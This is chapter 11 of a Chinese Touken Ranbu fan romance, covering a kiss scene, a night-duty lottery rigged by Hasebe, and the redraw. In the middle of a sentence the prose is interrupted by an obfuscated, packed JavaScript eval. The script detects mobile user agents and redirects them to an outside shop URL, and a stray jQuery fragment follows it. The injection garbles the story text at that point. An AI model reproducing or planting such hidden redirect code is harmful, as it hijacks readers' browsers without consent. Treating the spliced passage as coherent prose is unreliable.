11.第11章

作品:《今天也想神隐审神者大人呢

    有些压迫的姿态,银发垂下来遮住眉眼,神色晦暗不明。


    沈谂不自觉咽了口唾沫,往后退了退,抵在窗台上。


    “怎么了嘛,山姥切长义?”


    银发打刀没有说话,漂亮的眼睛流连在审神者身上。


    山姥切长义很早就发觉,审神者身上有一种特殊的香气,现在靠得近了,那幽香气息愈发浓郁,蒸腾着他的本就有些烦躁的内心。


    像无数只轻柔的触角,轻柔地抚上他的胳膊和脖颈,将他牢牢困在其中。


    天上有云缓缓划过,月光变得忽明忽暗。


    长义低头,目光从审神者泛着水光的眉眼滑落到红艳的薄唇上。


    视线定格。


    见惯了时政刀从容又优雅模样的沈谂,见到长义这样的神态,感觉很陌生。


    气氛突然暧昧了起来,两个人呼吸交织,沈谂感觉面颊微微发烫。


    她垂下视线。


    “那个……山姥切长义,你回去休息吧。”


    山姥切长义眸光微动,一贯冷淡的眼睛里情绪微微起伏。


    作为时政的监察官,审神者一直和他有着微妙的距离感。


    或许是不知道怎么处理他和先到本丸的山姥切国广的国广的关系,她从来不叫他“山姥切”或“长义”,而是一板一眼地叫他“山姥切长义”。


    要不是他的刀铭实在太长,审神者恐怕会一丝不苟地这样称呼他吧。


    可是他听说,在他来到本丸之前,审神者一直称呼山姥切国广为“山姥切”。


    现在呢,她私下会偷偷叫他“被被”。


    山姥切长义心跳一滞,一股酸意上涌。


    就连那个伪物君,都能轻而易举得到她的笑容呢。


    可审神者一到她的面前,不是严肃正经的模样,就是乖乖地装鹌鹑。


    ……他不喜欢。


    如果面对的是伪物君,她还会是这样防备的姿态吗?


    一丝阴霾极快地在他心上闪过。


    伪物君会抢在他前面,得到接近审神者的机会吗?


    他忽然轻笑了一声,抬手撑在窗框上,将审神者桎梏在里面:“难道在您心里,我这振杰作,还比不过伪物君吗?”


    “啊?”沈谂茫然抬头。


    而后,在沈谂惊愕的目光中,山姥切长义不由分说地捉住她的手,牵至自己的唇边。


    温热的触感传来,沈谂内心尖叫着,赶快闭上了眼睛。


    长长长义!


    他在干什么!


    山姥切长义的呼吸有些急促,浮动的气息抚弄着沈谂的发丝。


    “我会做的很好的。”


    “今晚可以让我留下吧?”


    沈谂再睁眼,正对上那双浓郁到有些灼人的目光。


    “不可以。”


    沈谂几乎是下意识开口回答。话音还没落,就看到银发打刀脸一黑。


    沈谂:!


    “那个那个,我不是那个……”沈谂红着脸解释,“不是那个意——唔!”


    唇齿相接时,沈谂感觉自己心脏要爆炸了!


    但话说回来,长义身上好香……


    不过片刻的接触,沈谂回过神来,山姥切长义的手指放在唇上,蓝眸有一丝迷离,像是温柔的湖泊氤氲起淡淡的水雾,似乎在怀念那一刻的温度。


    没想到你浓眉大眼的时政公务员也!


    *


    最终,山姥切长义也没能留在天守阁。


    沈谂倒在床上,迷迷糊糊间,都是长义刚才的模样。


    本本……你真是。


    沈谂承认自己有一点被媚到了。


    不行不行,不能再被美色迷惑。沈谂坚定地摇摇头。


    今晚肯定不能让长义留下的,他再难受也不行。


    不然,好像会给刀剑男士们一些奇怪的暗示。


    而且,她是一个道德感非常强的婶,说好的一段时间由一位刀剑男士来,在这个绿色的地方,她连留下山姥切长义的想法都不会有!


    *


    第二天晚饭时,在众刀剑的期盼下,沈谂拿出电子终端准备抽签。


    虽然她说了不想参加的告诉长谷部就好,但是从近侍的反馈来看,本丸里应该没有刀剑不想参加。


    谁会这么好运,成为担任本丸第一阶段的刀剑付丧神呢!


    说实在的,沈谂自己心里也有点紧张。


    她吩咐了长谷部,设置每一位刀剑男士概率均等,但是其实后台的概率她是可以随意调整的。


    不过她这一次并没有调整,大家都凭运气。


    寝当番也是要追求幸福感的!


    沈谂纤指放在屏幕上,在众人期待的目光之中,按下了按钮。


    所有人心都提到了嗓子眼。


    屏幕上名字飞速闪烁着。


    沈谂目光锁在屏幕上。


    会是谁这么好运呢?


    本丸那么多刀剑,谁第一个被抽到,可以说是当之无愧的欧气爆炸。


    沈谂想着,以后万屋搞抽盲盒的活动,都带着这一振去。


    “叮——”


    屏幕闪烁了几下。


    第一个刃出现了!


    刀剑们眸光一亮,纷纷看向屏幕。


    然后,在看清那个名字后,纷纷露出了或惊愕或不甘的表情。


    沈谂看清那个名字后,讶异地睁大眼睛。


    她错愕地看了一眼神情激动的近侍。


    压切长谷部?


    长谷部是最早来本丸的一批刀剑,也是她最熟悉的刀剑乱之一。她怎么不知道,长谷部运气竟然这么好!?


    刚开寝当番就偷吃了审神者,现在竟然还被第一个抽到?


    运气好到她都有点嫉妒了。


    不过既然是抽签抽到的,沈谂也不能言而无信。


    长谷部本身就是细心又忠诚的刀剑,由长谷部照顾她这一段时间,她可以接受。


    “哦,是长谷部呀。”她故作镇定,托着腮摆出饶有兴趣的表情,假装自己从来没有偷吃过长谷部的样子。


    然而她并不知道,本丸里每一位刀剑都能感受到审神者身上的灵力。


    她头一晚大吃特吃了清光,一大早又吃了长谷部,已经在那天她在本丸里乱窜着散步的时候,被她亲自昭告天下了……


    不过刀剑们很配合地和她一起装傻。


    “哈哈,是啊。”三日月率先开口,看向长谷部神色晦暗不明,“长谷部君真是幸运呢。”


    “嗯嗯。”沈谂有些心虚地点头。


    她总觉得三日月话里有话,藏着新月的眼眸里也含着玩味。


    可恶的,平安刀。


    他们不会知道自己已经……长谷部的事情吧!


    不能够不能够,她可是什么都没说,还不许长谷部说出去。


    被三日月盯得发毛,于是沈谂装作很忙的样子,伸手去够放在桌上的电子屏。


    结果也不知是紧张还是怎么回事,她的手一抖,不小心触到了抽签的按钮。


    抽签程序又飞快运转起来,在沈谂还没反应过来的时候,屏幕上已经蹦出来一个名字。


    沈谂看向那个名字,表情一黑。


    压切长谷部?


    她又按了一次钮。


    压切长谷部。


    她又按了几遍,不出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348730|199053||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意外,结果都是压切长谷部。


    刀剑们早就发觉到了审神者神色异样,纷纷聚拢到她身边。


    沈谂:微笑。


    其他刀剑:微笑。


    小短刀们:倒吸凉气者。


    沈谂抬眸看向长谷部,眸色稍暗:“长谷部,你了不得啊。”


    她就说他的运气怎么会这么好!原来利用近侍的职责是开了挂!


    作为一个奖罚分明绝不包庇的审神者,沈谂当即取消了长谷部的寝当番资格,并且罚他一个月马当番。


    现在抽签程序肯定是不能用了,沈谂遗憾地看了一眼电子屏。


    名单重现编写需要时间,主人寝当番迫在眉睫。


    于是,沈谂采取了最原始的方式。


    抽纸团。


    每刃只能放一个纸团进箱子里,这下就没人作弊了吧!


    沈谂用力摇了摇纸箱,把手伸进去。


    掏出一个纸团,展开。


    “山姥切……”她故意停顿了一下,看向伯仲组。


    听到自己的名字,山姥切长义明显情绪激动,蓝眸闪烁着期盼的光彩,身体微微前倾,呼吸带着颤抖。


    就算昨晚自荐枕席被审神者无情拒绝了,银发打刀也没有丝毫气馁的模样,将全部注意力都放在审神者手里的纸团上。


    另一边,山姥切国广依旧是没什么变化,只是抬手攥紧了盖在头上的布,指节处泛白,整个人缩在阴影里。


    真是太可爱了。


    她的被被怎么这么可爱。


    “……国广。”沈谂轻轻念出后面两个字。


    山姥切国广。


    山姥切长义不可置信地看着审神者手中摊开的纸团。


    竟然是伪物君……


    沈谂把目光投向另一振打刀,山姥切国广明显有些错愕,眼睛瞪大。


    是他吗?


    感受到审神者的目光,山姥切国广又瞬间恢复了平静,低眸。


    “是您的命令。”


    “是你运气很好呀。”沈谂笑眯眯的。


    *


    天守阁。


    紫眸的打刀跪在沈谂面前,声音比平时低了一些:“主公。”


    沈谂靠在椅背上,手指轻轻点着屏幕,依旧是一贯慵懒的模样,语气却是冷然:“解释一下?”


    长谷部头更低了一些:“是我私自修改了程序,请主公责罚。”


    责罚……肯定是要责罚的。


    只不过,她现在更感兴趣的是,长谷部为什么要这么做。


    长谷部是极度忠诚且循矩的刀剑,很少违抗主命,总不能是脑子一个抽抽就改了程序吧。


    “为什么要这样做呢?”沈谂轻轻叹了一声。


    明明都喂过你了呀。


    这样做可不乖呢。


    沈谂低眸,看向长谷部。


    长谷部抬眸看向主人,紫眸里似乎氤氲着水雾,看向沈谂的样子,好像一只湿漉漉的小狗。


    明明很想和主人亲近,可是又害怕主人会生气而厌恶他,于是极力压制着心里的欲望……


    可恶……


    沈谂又很不争气地心软了。


    长谷部这么做一定要他的苦衷吧!


    朕与长谷部何曾有过嫌隙!


    “唉。”她无奈叹气,从椅背上坐起来,抬手伸向长谷部。


    她的本意是拉长谷部起来,谁想长谷部依旧保持着双膝跪地的谦卑姿态。


    见到主人伸手过来,长谷部没有丝毫犹豫,伸手捧住那只纤纤细手。


    沈谂还没来得及开口,只觉得手指微微刺痛。


    长谷部,轻轻衔上了她的指尖。